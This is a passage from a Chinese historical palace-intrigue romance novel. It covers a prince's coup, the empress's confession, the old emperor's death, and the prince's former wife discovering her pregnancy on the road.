暗处又是两只快箭,直朝两人的面门而去。 皇帝大惊,回过神来,恍然间想明白了刚才此人言行何意,脸色涨红,吹胡瞪眼道:“大胆!” 赵巍未抬头,提醒道:“陛下,胡氏手上有刀。” 皇帝回过头去,看到躺在地上的两人,其中一人手上赫然一柄匕首。 赵巍仍未起身,又是行一军礼,“反贼未清,还请陛下移步!” …… 宣光殿外亦有兵力驻守。 只是永巷被隔开,阻断了前殿后宫互相通信,如同笼中困兽。 皇后站于殿前,前些时传言病重的太子亲自领兵守在店外,却还是被逼到了殿门前。 太子步步后退,身后护着皇后,道:“母后别怕。” 皇后威仪十足,一身金丝曳地凤袍,在红霞的映衬下愈发华美,大声斥道:“大胆逆贼!” 元衡并不在意被这么称呼,目光移向太子,一声令下,“把他的的脸撕下来。” 左右齐齐上前,皇后脸色瞬间煞白如纸。 那太子被按住,一人摁住刀上前,单手揪住那张假面皮,干脆利落撕下。 周围将士俱是一惊,议论纷纷。 元衡利落地抹了那人的脖子,剑上的血还温热,便又对准皇后。 “娘娘还有何要说?” 皇后怔在原地许久,肩膀不住颤抖,最后连脚也站不稳,靠在了宫门上。 她胸口上下起伏,许久脸上才出现些血色,咬着牙挑眉:“有,当然有,本宫想说的事还很有意思呢,晋王可敢同本宫进殿看看?” 元衡并不惧她,锐利的剑锋在那细白脖子上抵出一道血痕。 皇后同他对视,缓缓往后退向殿内,眼神愈发狠戾,嘴角勾出一丝诡魅的笑容。 殿内无人,元衡剑锋又朝里了些,脖上已经有血珠渗出,顺着皇后脖颈而下,“本王劝皇后莫要动什么别的心思。” 话音刚落,皇后的脚步蓦然停在了一幅画前。 那副画上是一只凤凰,翱翔高山祥云间,那笔峰似曾相识。 皇后端详了两眼,花瓣似的唇弯起,踮起脚取下那副画。 画的背后,还有一幅壁画,被镶嵌在了这宫殿的墙壁上。 那是一个女子,不是皇后,却有几分神似。 皇后淡笑道:“晋王殿下觉得,画上的女子好看吗?” 元衡笑一声,道:“比起娘娘,有过之而无不及。” 皇后视线向上,紧紧盯着那画中人的脸,睫羽下是浓浓的恨意。 下一刻,她以袖掩面,咯咯仰头笑了起来,笑得直不起腰。 元衡手中的剑越握越紧,问道。“你笑什么?” “当然是在笑文氏阿姊。” 皇后收起几分笑,伸出手来,低头用袖子一点点擦拭脖上的血,轻叹一声,“我在替阿姊高兴呢,阿姊活着的时候,没能听得自己的儿子咿呀学语,死后这么多年,却能得自己的骨肉血脉夸赞一声貌美,晋王难道不觉得这是一件值得高兴的事吗?” 第95章 第九十五章王妃她有喜了 皇后露出一副玩味的笑容,眼睁睁看着抵在她脖颈的剑尖越来越低。 “你什么意思?” 皇后道:“本宫曾经害了晋王殿下的母亲,只是可惜,动手的并不是本宫。” “你的亲生母亲死在先皇后手里,晋王殿下陪着自己的杀母仇人在冷宫里待了那么多年,还费尽心思为仇人恢复名号,本宫倒不知道该说些什么好? 元衡扯开唇一笑,“你在说什么鬼话?” 皇后直视他越来越慌乱的眼眸,笑了一声,“本宫在说鬼话?” “先皇后和文昭仪同一日生产,你以为是巧合?本宫只不过略施小计,便能让她相信那晚宫里的火是文昭仪派人放的。” “这也不能怪本宫,怪也只能怪陛下对文氏太过偏宠,陛下不在宫中,文氏那个蠢妇连自保的手段都没有!” 皇后面露讥笑,一口贝齿如同獠牙,“还有杨氏那个毒妇,是她自己狠毒了文氏,本宫说什么她居然都信” 元衡握剑的手青筋暴起,指近乎泛白,后牙相抵,“我看你才是毒妇。” “本宫是毒妇?”皇后抬起眉,扯着嗓子大喊,“到底是谁恶毒?” “本宫八姓贵族出身,琴棋书画闻名京城,当年也有好儿郎真心求娶,可皇帝呢?他那么喜欢文氏,却不敢忤逆太后,只能让自己最心爱的人屈居昭仪之位,娶了杨氏这个世家女不够,还要毁了本宫!” 皇后看向那幅画,冷笑一声,“文氏也可怜,分明心有所属,却被强留在宫中,不得正妻之位,与帝王生儿育女。” “你说凭什么,皇帝终日不得文氏好脸,什么却都愿意给她最好的。” 论才情,论相貌,她想不通自己哪里不如文氏。 凭什么她笑脸相迎,最后却还是要变成后宫里被磨利的那把刀。 “你说陛下为何这般狠毒,既不喜欢我们,为什么又要将我们骗到这宫中来?” 皇后渐渐平 静了许多,似乎是自己也找不到答案了,又问他道:“本宫做的算不算也是件善事?你看,不论是文氏还是杨氏,亦或是本宫,不都是一种解脱?” 元衡眼中布满了血丝,沾有血光的脸上更添几分戾气,缓缓举起手中那把剑。 “你给本王闭嘴。” 皇后没有再辩解什么,恢复一派淡然,语气却充满了玩味,“元衡,你想要那个位置是吗?” “本宫看你可怜,好心帮你一回,你若是想要,本宫可以帮你认下文氏血脉的身份,若是以杨氏之子的身份,陛下绝不可能让你染指帝王之位。” “本王想得到什么,还轮不到你来帮忙。” 皇后没再说话,闭上眼睛,“那你动手吧。” 元衡剑尖越挑越高,剑芒刺在她的喉咙上。 只是下一瞬,他垂下了手,“本王不会现在杀你。” 他挑起一抹笑,“本王会将你留着,看着本王登基称帝,让你生不如死。” 说罢,他大喊一声,门外的军士便推门而入。 皇后慌张起来,转头便要向那堵墙撞去,元衡眼疾手快,剑朝她的膝上划去,划开一道血口。 皇后摔倒在地。 “你会后悔的!你做杨氏的孩子,永远不可能得到他的承认。” 元衡没有再听她一言,刀剑送入鞘,走得干脆。 迈出大门,赵巍身旁的参军已经来到了宣光殿前。 “殿下,陛下无恙。” “知道了。”元衡只这么说了一声,便没了后话。 “殿下现在可要去显阳殿?” 元衡睨了他一眼,那眼中的利锋还未收起。 前来报信的参军低下头,不敢再揣测,只等他发话。 皇后刚才的话,犹在耳边。 她说他若是不认下文氏之子的身份,便永远无法坐上那个位置… 元衡一扫殿下的人,捏紧了拳,深吸一口气,开口点出一队人驻守宣光殿。 “其余人随我去捉拿宫中余孽。” 他看向那参军,不曾避讳旁人,“你把那婢女带去见父皇,就给父皇说,他最心爱的女人是被现在的皇后害死的。” * 宫中的打杀声在夜里才平息,只是宫门仍旧紧闭,这之后皇帝接连两日都未宣见任何一个大臣。 洛阳城没几个人不知道晋王那日进宫救驾,可现在宫内究竟是什么情况,无人知晓。 两日内,宫中只带出一道圣旨,是大魏境内所有胡氏族人格杀勿论。 早在晋王入宫之日,洛阳城内便乱过一次,那胡氏族人能跑的早都跑了,这道圣旨对于洛阳而言倒是不痛不痒。 洛阳宫内,皇帝在显阳殿内闭门不出,除了那道圣旨之外,也没有任何旨意从殿门内传出来。 那位皇太子倒比上一世命大,并没有在这场宫变中丧命,只是卧床不起。 看样子像是五石散,可细细叫太医诊过,才知道是被下了些慢性毒。 老皇帝并未说要如何处置这太子,元衡便也按兵不动。 他未出宫,就住在离皇帝不远的含章殿,晨昏定省准时站在显阳殿前,行礼请安,声音大到殿内的人可以听得一清二楚。 老皇帝并没有传他进去,元衡仍有耐心,每日去看看皇太子,再去看看被囚在宣光殿的皇后。 那皇后一改昨日,并没有再轻生的想法,反倒是微笑着看他,似是在等看一出好戏。 元衡并未理会她这副态度,看过两人后闲来无事,便跑去太极殿西堂,替老皇帝处理前些日尚未处理完的朝政,阅后写好竹简送去显阳殿。 皇帝身边的大太监每日将人好声劝回去,心里也到底不安。 如今洛阳城内都是晋王的人,尚未有贵族或者世家再入洛阳,这尊大佛敢带兵闯入宫,赖到这宫中不走,将显阳殿守得水泄不通,想必是没将他一个太监放在眼里。 若是惹毛了,弑君怕也不是不可能 到了第五日,元衡去请安时,殿门内终于传出一道旨意,是要将皇后带过来。 元衡痛快地答应,不过一会儿便让人将皇后请来了显阳殿。 那皇后几日没见光,脸上少了些往日的红润,膝上被剑刃上了筋骨,一瘸一拐进殿。 皇帝只让她一个人进去,元衡便在门外守着。 不过一会儿,门内却是传来一阵呼喊声。 元衡踹开殿门,便是看到皇帝离胸口极近的地方插了一只簪。 皇后被甩开在地上,不住大笑,元衡上一世也不曾见过这般场景,便是愣了一瞬。 他仍旧没有当场要皇后的性命,叫人将她押回宣光殿好好看守。 宫中的太医几乎都被叫来了显阳殿,直到夜里才总算是处理好伤口。 老皇帝躺在床上一动不动,像是瞬间苍老了十岁,细细看去,不过几日,发根处便多了好几根白发。 元衡问过后,让太医退下,自己亲自照料。 皇帝额上时不时还冒出冷汗,元衡沉默寡言,不厌其烦一遍遍拧帕子,坐在床边替他擦汗。 皇帝动弹不得,躺在床上,冷笑一声,“朕这个样子,你心里定然高兴,就不必再装了。” 元衡轻笑一声,仍旧耐心,“父皇说什么,儿子听不懂。” 皇帝用力笑了笑,“你倒是沉得出气。” “宫里那位太子,还有皇后,留给你了,你为何不杀?” 元衡转而又开始替他擦手,“但凭父皇处置便是。” 他话中有话,“父皇老了,别算计别人,到头来把自己也算计进去了。” “你倒是聪明,说实话,你同朕是最像的一个。” 皇帝感慨道:“朕年轻的时候也在北镇领过兵,征战四方,若不是老了,也轮不到你们这些人进宫。” 元衡只淡淡“嗯”了一声,“父皇的确是老了。” “你”皇帝气愤地不知道该说些什么,想要举起手,却发现自己儿子按在手上的力气要比他大很多。 皇帝放弃了挣扎,元衡却自问自答,“陛下可是想起来?太医方才说了,这伤凶险,还是不要起来才好。” 皇帝不停喘气,却又无可奈何,斜眼看他,仍是没说什么好听的话,声音像是老鸦般嘶哑,“朕一世英名看错了皇后,后悔莫及,可却从未后悔过处置杨氏。” “知道。”元衡替他将没说出的话说了出来,“陛下其实是想说,这皇位无论如何,都不会传给我一个杨氏之子,对吗?” 像是被彻底戳穿,皇帝嘴紧紧闭了起来,胡须直颤。 元衡将手中的帕子摔在盆里,缓缓挪步离开床、拖来一把胡椅,当着皇帝的面,拧开了胡椅把手后的暗扣,紧接着一张金帛被抽了出来。 那张诏上盖了印,元衡摊开整张纸,声音毫无波澜地念起上面的字。 老皇帝眼睛瞪得浑圆,面部扭曲,挣扎着要下床,刚处理好的伤口又开始渗血。 元衡眼睛不曾看向他,一字一句念着那诏书,念到最后一句,他的尾音带了些嘲弄,“自古立嫡立长,太子无能,长幼有序,传位于大皇子元彻…。” 元衡合起诏书,讽刺了一句,” 陛下还真是老了,竟是连江山社稷都算了进去。” 老皇帝嘴角抽动,忽地气血上涌,嘴角竟是渗出了血。 “你以为你以为这皇帝有这么好当,就凭你这种东西,你以为能管得好这江山社稷!?” 元衡走近了几步,“我是什么东西,父皇怕是以后才能知道,毕竟儿子之后的每一日都会在这洛阳城里。” 皇帝听后气急,用力抬手,却又呕了一大口血。 元衡就停在他的床边,俯视如同风中残烛的帝王。 皇帝呵呵笑了起来,“你是不是…是不是不信?那朕问你,你身边的岑氏既非世家出身,又非贵族,你打算将来给她个什么名分?” 元衡不假思索,“自然是皇后之位。” “皇后”皇帝笑得上气不接下气,“你立她为皇后,你这皇帝恐怕做不到第二年” 元衡简单答道:“那是父皇,儿子不一样。” “好,那就算不提这个,若是她将来有了子嗣,你打不打算立她的孩子为太子?你别忘了帝王祖训,去母留子。” 元衡没有回答他,也没有丝毫慌乱。 他走到铜灯前,不急不慢点燃了那道诏书。 那道火焰明亮,元衡盯着那团明火,还是那句话,“我和父皇不一样。” 那道圣旨被火焰蚕食殆尽,元衡松开手,任由剩下那一角在灯盏中燃成灰烬。 他盯着灯中的残灰,冷漠道出,“父皇宏谋远略,可开疆拓土,可与世家贵族周旋,我不信父皇若是想护一个女人会护不住。” “父皇一方面想要文氏常伴身侧,可一方面又觉得那些世家贵族女子可以帮自己巩固权利,享受高门女子给自己带来的好处,又不敢下定决心护住自己的人。” 最后一点灰上的火星也熄灭,元衡拍了拍手,又挪步到他床前。 躺在床上的帝王脸色比刚才又煞白了几分,看着他,没了刚才的威严,反倒有些惊恐。 元衡低下身,道:“说什么无奈,倒不如说是个贪婪的懦夫。” 皇帝不敢看他,只坚持道:“我是懦夫?等你当上皇帝便知道了” 元衡直起腰俯看他,像是发誓一样,“本王想留在身边的人就会护好,会给她最尊贵的位置,再难也会,就算再让本王挨六十棍,也挨得起。” “至于那去母留子的害人规矩,你们愿意守,孤不愿,孤登基后的第一件事,便是废了它。” 皇帝听罢,整张脸泛青,嘴里不停嘟囔着什么,再也说不出一句完整的话。 元衡倒也没再刺激他,沉住心,又拧了帕子,使劲擦拭他嘴角的血。 他说起之后的打算,话音倒与手下的动作截然不同,从容不迫。 “父皇是一位好皇帝,留下的江山还算强盛,如今世家缺了崔氏,贵族又要缺了胡氏,想必儿子刚接管朝政也不算太棘手。” “将来儿子也会学父皇的,扶持郑氏和尔朱氏,不会一味滋长世家,不过那尔朱氏有野心,儿子会用杨氏和高氏的人牵制一二,先稳住北镇,父皇觉得儿子这么做可好?” 皇帝静静听着他说,谈论起每一个和他周旋多年的朝臣。 他未曾给他指出任何错处,只一双眼睛眼睛越睁越大,瞳孔紧缩。 元衡从中看出了难以置信,还看出了不甘。 想必是不甘将这倾尽毕生心血的江山就这么拱手让人,不甘自己的抱负要交由自己最厌恶的儿子来完成。 他能明白帝王的这种心情,上一世他在北镇倾注心血,最后也只能像这样,将北镇拱手让人,无能为力。 他也知道,如何再这样的人心口再补上一刀。 “父皇放心,你能做好的我会继续做下去,未曾做好的,我也会把它做好。” 话音一落,皇帝的手彻底落了下来。 元衡手探出,尚有一丝鼻息。 不过应当也没几日了。 元衡替他擦净了身,叫来宫女,便离开了大殿。 天已经完全黑了下来,夜晚的皇宫静得可怕,虽有宫人持灯守夜,却连一点声音都没有。 老皇帝的话还在耳边。 他刚才其实有些话是骗皇帝的。 他都同她和离了,从哪儿去立她做皇后 之后他要发愁的,约莫只是如何做到他承诺的五年不另娶…… 想到岑璠,他仿佛身上又有了些人气,摸了摸鼻头,甚至还有些心虚。 他还是在她身边留了个他的人。 他会专心做他的皇帝,只是想知道她在哪里罢了,应当也不过分吧 只是一瞬间,元衡便收回了手上的动作,下颌绷紧,又变回了晋王该有的样子。 这是皇宫,总不能真让人看出他有怕的东西 翌日,元衡又去显阳殿,只是帝王还未醒。 他大摇大摆进了宫殿,皇帝的眼睛还是合上的,元衡不知道他是在装睡,还是真的听不见。 元衡叫来宫女,问了问皇帝昨晚的情况。 宫女答了几句,似是想起什么,道:“对了殿下,今早贵嫔抱着小皇子来过,说是要来看陛下。” 元衡问道:“陛下可见了?” 宫女摇头,“那时陛下没有醒,李公公便叫人回去了。” 元衡想了想,干脆守在了显阳殿。 过了一天,都不曾再有人来。 晚上时皇帝终于醒了,不仅是醒了,而且精神颇好。 元衡一直守在床边,殿内还有照看的宫女和太医。 皇帝睁眼一扫周围的人,对上了元衡警惕的目光。 令元衡惊讶的是,皇帝并没有害怕他,也没有破口大骂。 “老二是在这里守了一日吗?” 元衡上下打量了几眼,承认道:“是。” 皇帝淡淡一笑,让宫女扶他起来。 元衡道:“陛下还是不要起身,再养几日,保重龙体。” 皇帝脸上仍有笑意,这般态度,就连没有撕破脸前,元衡都不曾见过。 “朕没事,快扶朕起来。” 有些不适应,像是见了鬼一样。 元衡犹豫片刻,站起身亲自去扶。 皇帝什么也没做,坐起身只是说自己饿了。 大太监也守在这里,闻言大喜,赶忙出门让膳房的人去端些吃食。 守在殿内的太医却面色凝重,见皇帝正在同大太监询问些家常事,上前一步,低声道:“殿下可方便借一步说话?” 元衡犹豫片刻,微微颔首,同他走去前殿。 “臣今日诊过陛下的脉象,陛下这个样子,应当并非病好,而是” 元衡眼睛微动,愣了片刻,“知道了。” “该让陛下喝的药还是备好。” 太医躬身,“微臣明白。” 说罢,元衡又回到寝殿。 不过一会儿,膳房的人端来一盘盘吃食。 到底胸口有一道伤,不宜大动,元衡端了碗,亲自喂给皇帝,比起昨日还要耐心。 面前这位皇帝仍未对他表现出什么厌恶,反倒还招呼道:“老二别光顾着朕,守了一日,也吃点吧。” 元衡低眼看着案上吃不完的菜肴,思量片刻,却还是拒绝了。 “儿臣还不饿。” 皇帝也没有强求,调侃了他两句。 用膳过后,那皇帝老儿又觉得吃得太多,让人找来些酸口的梅干。 他仍是没有放弃,艰难地抬起手,指了指那盘梅干,“老二也吃些。” 元衡直直盯着那盘梅干,脸终于还是冷了下来,“父皇不知,儿臣吃不得梅。” 皇帝“哦”了一声,垂下手,转过头去,皱起眉,“朕记得,好像宫里确实有人吃不得梅干” “是谁呢” 他反复小声问自己,问了很多遍。 元衡没有回答他,静静看着他发问。 忽然,皇帝的话声顿住,他猛地转回头,盯向那双从未仔细看过的眼,枯皱的眼皮颤抖。 元衡抬起眼,直对上他的目光,让他看了个清楚,问道:“陛下怎么了?” “你”皇帝还未说完,便喷出一口血。 那口血喷到盘中的梅干上,染上鲜艳的红色,刚才还嚷着要吃东西的皇帝,仿佛一下被吸走了精气神,无力地靠在床上,脸色灰败得发青, 殿内的宫女吓软了腿,捂住自己的嘴。 元衡看了一眼,冷静道:“还不快去找太医。” 宫女点头,慌忙出去请人,宫内的太医又聚进了显阳殿。 只是这一次,皇帝似是真的不行了。 当晚,皇宫的高阁上便响起丧钟,响彻整个洛阳。 钟声过后,便又是漫长的沉寂。 除了皇后,其他宫妃都被请来了显阳殿,沉寂才被一片哭声打破。 元衡看向安安静静躺在龙榻上的帝王,行了跪拜礼,眼眶终究也有 些湿润。 哭声持续了太久,他走出门去,着人去安排丧事。 明日定然还有不少人要来皇宫,肯定会有人要说国不可一日无主,劝他登基为帝,当然也会有人要帝王遗诏,说他进宫意图不轨。 最后肯定避免不了冲突。 元衡站在高阶上,将明天要做的事在脑海中过了一遍。 想过很多种可能后,身心俱疲。 他一扫层层台阶,宫阶被灯照得清楚,可这似乎建的有些太高了。 皇帝最终应当是发现了,发现他并非杨氏所出 可到底已经走到了尽头,知道有什么用? 这皇位他偏要自己夺来。 春寒料峭,在外面站得久了,仿佛手背里似都浸上了凉气。 元衡望向宫墙外。 他记得曾经和先皇后在冷宫中住了快十年 那时皇后应当还没有发现自己是文氏的孩子,把当成亲儿子养了好几年,每一日都望向墙外,盼他能从冷宫里走出去。 可到最后的那一年,她也叫过他“孽种” 还有什么是他值得记住的呢? 元衡想来想去,最后只能记起一个女子。 那女子扎着姑娘的辫子,踮起脚在院子里晒被子,他在屋里悄然窥探,白梅落在被上,洒落一阵芬芳。 除此之外,便是没有了。 元衡低头,发现自己不知何时攥紧了拳。 他深吸一口气,背着宫灯的光走下阶去,影子被拉得颀长。 远处,却有人奔来,那人是他身旁的郎中令,算是他的亲信,专门帮他传信递信。 郎中令停下,嘴角难掩喜色,直到看见元衡皱眉,才想起方才那几声丧钟,慌忙拍了拍自己的嘴。 “殿下,祈州的暗探来报,说是王妃,王妃她有喜了。” 第96章 第九十六章恭贺娘娘得此大喜。 岑璠接连在祈州养了几日。 那一日晚上,岑璠还是觉得手脚凉,半宿未睡,第二日又让墨群去远一些的药铺,再请了位郎中来。 得到的还是一般说法,要么是吃坏了,要么是不服水土。 岑璠便没有再多问。 那位老郎中开出的药方倒也管用,过了三日,肚子便不怎么疼了。 岑璠本想早些起程,墨群却是劝她再将养几日再走。 如今除了去平城,她也没有什么要紧事,便听了墨群的,准备喝完那几副药再做打算。 翌日,岑璠在驿馆闲来无事,对窗而坐,画起楼下街景。 小厮正好送了清淡的羹汤上来,摆盘时看了一眼,不由赞叹,“姑娘这画当真画的好啊。” 岑璠停下笔,侧头去看他。 紫芯帮忙一起摆盘,闻言道:“这位小兄台可是懂画?” 小厮摆了摆手,又开始摆盘,“什么懂不懂的,这画画得像那么回事,可不就是好?” 岑璠问道:“这位小兄弟当真这么想?” “可不是吗,依我看姑娘这画,比那些动不动几十两银子的画好看不少。” 岑璠回过头,看向那幅还没画完的画,眨了眨眼,浅笑道:“那这幅画送给小兄弟了。” 小厮愣了愣,站起身来,没有拒绝,讪笑道:“姑娘真打算送我啊?” 岑璠点头,“这幅画还未画完,等画完后让人送下去。” 小厮脸上浮现出笑容,直道前些日掌柜的才说,驿馆缺一幅像样的画,要挂在楼下大堂,还说要去问问掌柜的,能不能免掉他们这三日住驿馆的银钱。 岑璠一时也不知道,小厮说她的画好看,到底是因为要给掌柜的找画,还是真心喜欢… 可转头再想想,这幅画终归是收到认可的。 岑璠笑道:“那便谢过。” * 直到傍晚,一幅画才算画好,画上的商贾牵着一匹骆驼,正在街上同路人讲价。 岑璠很少画人,觉得不够生动,又添了几笔,却还是不甚满意。 紫芯端了药放在桌上,关上窗,“姑娘病才刚好些,别着凉了。” 如今北地也渐暖,白日春风和煦,可夜里到底是有些凉。 岑璠卷起那幅画,走到桌前,喝了那碗药。 那药和她过去喝过的一些药味道都不同,倒真像是什么民间土方子,也算不上多苦。 紫芯看向那幅画,问道:“这幅画可要奴婢送下去?” 岑璠摇头,“紫芯去帮我带句话给小兄弟吧,就说我会在这里多待几日,把那幅画画好,住店的银钱也会照付。” 紫芯跟了她一年,也大概知道她的脾气,便下去给小伙计带了话,顺便打一壶热水来,服侍她洗漱。 只是隔日岑璠却躺在床上困得睁不开眼,一整日都没什么精力再去画。 她想想,觉得许是那药有什么副作用,好在腹痛没有再发作过,便索性停了药。 又缓了三日,岑璠才又提起笔。 过去画过的画,她有盖印的习惯,这一次落笔后,却是盯着那幅画看了好久。 最后她提笔挥下了“雯华”两个字。 紫芯不太理解,“姑娘,这两个字和画有什么关联呀?” 岑璠摇头,看了看画旁的小字,道:“没什么关联,只是以后画画想用这个名号罢了。” * 在祈州耽搁了太多时日,画完这幅画,隔日岑璠便收拾好行囊,继续赶路。 晨起的驿馆,楼下大堂坐了许多人,其中有几个还是晋王派来护送她的。 楼下的人议论纷纷,谈论的竟都是一件事。 晋王带兵入洛阳后,晋地一直没有传出什么消息,各地都在观望。 如今尘埃落定,洛阳前段时日那些惊心动魄的大事,总算是传回了遥远的北地。 岑璠大概能听得出,此番进宫,晋王胜了。 那他是要在洛阳当皇帝了? 岑璠不禁想到还在晋王府的珝儿他们,不知道他要当皇帝,他会怎么安排他们… 她一个前妻的家人,由他一个皇帝安排,怎么说都有些奇怪… 他既是要当皇帝,那之前说的五年,约莫也做不得真了,一个亲王或许五年不成亲没人管,可一个皇帝,怕是做不到。 反正他对她说的话也没多少算数,就算真的马上要另娶,她也管不了什么。 只希望他做帝王后能别对百姓说太多假话,毕竟君王千金一诺… 岑璠又 扫了眼周围的人。 这北地之人,谈到晋王要入主洛阳宫,大多都是高兴的。 他这些年在晋阳,到底是护得百姓安宁。 或许真的能做一位好皇帝吧…。 他能得偿所愿,而她能与他一别两宽,百姓也能得一位好君主,她到底算得上是高兴。 对面的一桌人正聊得火热,一红脸大汉翘着二郎腿,道:“听说啊,当年那位文昭仪,也是遭到先皇后的陷害。” 桌上有人从未听说过,问道:“文昭仪是何人?” “这你不知道?”大汉似是很惊讶,往嘴里扔了颗花生嚼了嚼,接着道:“想当年,那文昭仪可是宫里最受宠的妃子。” “听说啊,当年这位昭仪和先皇后,也就是晋王殿下的亲娘,还是同一日生产呢,那晚上先皇后宫里还着了火,陛下正在打仗,回来后却先去看了文昭仪。后来皇后便一直将这件事记在心里,没过几个月,这文昭仪便被传私通,连带孩子一起被打入冷宫。” “还有这种事…”另一人琢磨了一番,又问道:“你刚才的意思是,当今皇后,不对,是胡氏陷害那昭仪?” “可不是,听说皇后宫里当年那把火,都是胡氏放的呢…” …… 岑璠静静听着,手中的汤匙时不时舀起一勺粥。 只是有些心不在焉,一勺粥洒在了桌上, 紫芯问道:“姑娘可是在想殿下的事?” 岑璠点了点头,似是心不在焉,“昭仪也不能吃梅……” “姑娘在说什么?”墨群问道。 岑璠回过神,轻轻摇头,“没什么,想到些事罢了…” 墨群没再问什么,沉默了片刻,忽地想到什么,蓦地睁大了眼。 他看向岑璠,她却似不想再多说什么关于晋王的事,又抿了几口粥,便没了食欲,向门外走去。 墨群跟在她身后,她似还怀有心事,脚绊在门槛上。 墨群眼疾手快扶住她,“姑娘没事吧。” 岑璠摇头,很快站直了身。 墨群似还是不放心,上下看了看她,问道:“姑娘当真无事?可有哪里觉得疼?” 大堂内已经有人向他们看来,其中还有晋王府的人。 岑璠一时间觉得他太过反常,拨开他的手,站远了些。 她答应了晋王两年,依照那个男人的臭毛病,若是知道有人这般对她嘘寒问暖,即使什么都没有发生,定也要冲他撒一通气。 更何况那人要当皇帝,对她这个前妻的举动,肯定会更在意,更小心眼… 岑璠摇头道:“无事。” 墨群似是松了口气,“姑娘没事就好,当心脚下,我和紫芯姑娘上去收拾行李。” 岑璠颔首,看着他上楼去。 她总感觉墨群这些时日怪怪的…… 岑璠没有多想,一行人离开祈州,继续向北而去。 晋王府的人还未回去,岑璠有所犹疑,可转念一想,晋王虽然打胜了仗,可到底时局不稳,对于晋王来说,她的确是个隐患。 * 行至平城那日,郑峋正好派人从送来信。 说是陛下驾崩与显阳殿,晋王不日便会登基,等到时局稳后,让阿湄和崔公子回华郡,不大操大办,但好歹把两人的婚事定下来。 岑璠由衷为两人高兴,““我打算之后回彭城一趟,去看看阿娘,到时候去华郡看能不能喝你们的喜酒。” 郑伊湄笑道:“肯定能,我们等皎皎来。” 岑璠到底只待了两日,便要离去。 掐指算算,若是现在赶回彭城,说不定还能赶上母亲的忌日。 回去时马车行得快了些,不过几日便离开了尔朱氏所辖的地带。 连夜赶路,岑璠在马车内睡得昏沉,再醒时,到达了一个名叫青镇的村镇中。 镇子上没有驿馆,墨群找到当地的富户,租借了一处小院。 墨群站在车外,道:“咱们的马连着行了多日,姑娘不如在此休息两日。” 这几日赶路,马车颠簸,岑璠也有些难受,吃不下东西,便答应了下来。 紧跟着紫芯下车,还没呼吸上一口新鲜气,却又一阵熟悉的腹痛袭来 那痛楚从腹部一直疼到脚底,岑璠咬紧牙,躬起身子,脸色变得煞白。 先跳下车的紫芯吓了一跳,慌忙扶住她,发现她手凉的像一块儿冷玉。 紫芯左右看了看,先将她搀进院子,进屋关起门,将她扶到床上。 她回头看了看紧闭的房门,轻声问道:“姑娘可是小日子来了?” 岑璠捂着肚子,摇了摇头,道:“没有。” 紫芯纳罕,“奇怪…姑娘的小日子也该来了。” 岑璠思绪顿了一下,覆在肚子上的手也骤然收回些。 她问道:“紫芯可记得,上一次我的小日子是什么时候?” 紫芯仔细想了想,“好像是…两个月前?” 岑璠手脚霎时间又凉了些,眼睛转了转,喃喃重复:“怎么可能…” 紫芯一个姑娘家,到底是不懂,直皱眉,“姑娘腹痛,小日子又不来,不会是得了什么病吧…” 岑璠嘴唇有些泛白,坐在床上想了许久,眉越拧越近,忽地想明白什么,抓住紫芯的衣袖,压低声音道:“你去外面请个郎中来,若是墨群拦你,就说是我让你去,记得一定要你亲自去请。” 她声音断断续续,似在喘着气,紫芯也不知道她为何会这样,像是疼,又像是生气,一时也顾不得什么,照着她说的,自己出门去请郎中。 出门时,墨群果然拦住了她。 紫芯怎么也甩不开他,急得直跺脚,最后只好和他一起去请郎中。 青镇内没有驿馆,也没有专门的药铺,紫芯答应了几户,才从镇子西角的宅子中请出一个会诊脉的郎中。 那郎中虽是年轻,可去看诊时,竟连药箱也未曾带。 被带进屋时,墨群也跟着一起进了屋。 岑璠坐在床上,一手撑在床沿,见到墨群进来,一双眼直直盯着他。 墨群心虚地低下头。 那双眼睛对着他时,曾经总是带有善意,何曾这般看过他…。 岑璠亮出手腕,仍目不转睛地看着墨群,不肯放过他丝毫反应。 “郎中过来诊诊吧。” 那郎中双手交握在前,说话还带口音,“姑娘别见怪啊,俺这医术不精…” 岑璠打断道:“随便诊,这病怎么都能诊出来。” 郎中愣了愣,犹豫片刻上手去诊。 搭上脉没多久,郎中便看向她,有了结论,“姑娘…夫人这不是病,是喜脉啊。” 紫芯瞬间呆在了原地,“喜…喜脉?” 郎中点头,“千真万确,夫人这是喜脉,只是连日奔波,这孩子坐得并不稳当,所以才会腹痛。” 岑璠蓦地弯起唇,抬眼问道:“怎么不说我有病了?” 郎中顿住话,有些局促,手不知道该往哪里放,却又觉得刚才那话不是朝他说的。 他往后看了看,似是了然,“啧”了一声,“怎么还惹夫人生气了呢…这怀胎切忌便是动怒,别整日垮着脸,男人嘛,认个错便是了,不然这孩子没法保…” 墨群瞪大了眼,辩解道:“这孩子不是我的!是…” 郎中愣住,一时不明所以,墨群收住话,也懒得再解释。 事到如今,他不敢再替岑璠拿主意,这孩子在她的肚子里,主上未归,她既已知晓这个孩子,是去是留,他没办法阻止。 若是再晚上一些就好了,主上的人已经在路上了,他也已经向周围的暗探传递了他们在青镇的消息。 再晚一些,想必能赶得上的。 墨群扫了扫屋里的人,想着接下来的对策。 郎中却等不得,见满屋子的人连个拿主意的都没有,直替他们着急,大喊道:“这再闹别扭,关孩子什么事啊,俺媳妇也才怀上,家里还有些药材,您二位只要发个话,俺就回去拿药,这位夫人脉象虚弱,别到时候这孩子保不住了!” 墨群握拳,抬头看向岑璠,岑璠同他对视,两人似都有话要说。 忽地,门外传来一阵呼喊声。 “能保住!能保住…” 岑璠朝门外看去,只见韩泽气喘吁吁朝房门跑来。 她眼睛骤然瞪大,连带着心也凉了半截。 韩泽停在门外,咧开一个僵硬的笑容。 不待岑璠逐客,他扑通跪了下去,不由分说在门外叩首一拜,“臣奉陛下之命前来,迎皇后娘娘回宫,恭贺娘娘得此大喜。” 第97章 第九十七章皎皎,这是咱们的孩子 紧随韩泽而来的,是手提药箱而来的太医。 那郎中被撞了一下肩膀,太医还同他道了声歉。 郎中尚在震惊中,却自己向后退了一步。 那些人口中喊得是皇后娘娘,这个称呼应当是不能乱叫的… 可这宫里的皇后,年 岁也对不上啊! 不过前些时候,他们这里的晋王好像真的带兵去了洛阳。 不会这么巧吧! 他刚才随便摸个脉,诊出的是个龙种? 郎中身子晃了晃,立刻被扶稳。 韩泽将一锭银子拍在他手里,道:“这些银两小兄弟拿好,先回家吧。” 郎中从未见过这么沉甸甸的银子,眼睛都瞪大了些,将银子捧在胸口,三步一回头地离开。 待郎中走后,韩泽无声走上前,赔笑道:“娘娘,不如先让太医诊脉?” 岑璠坐在床上,没有伸手,弯起唇笑他,“我若不诊这个脉呢?” 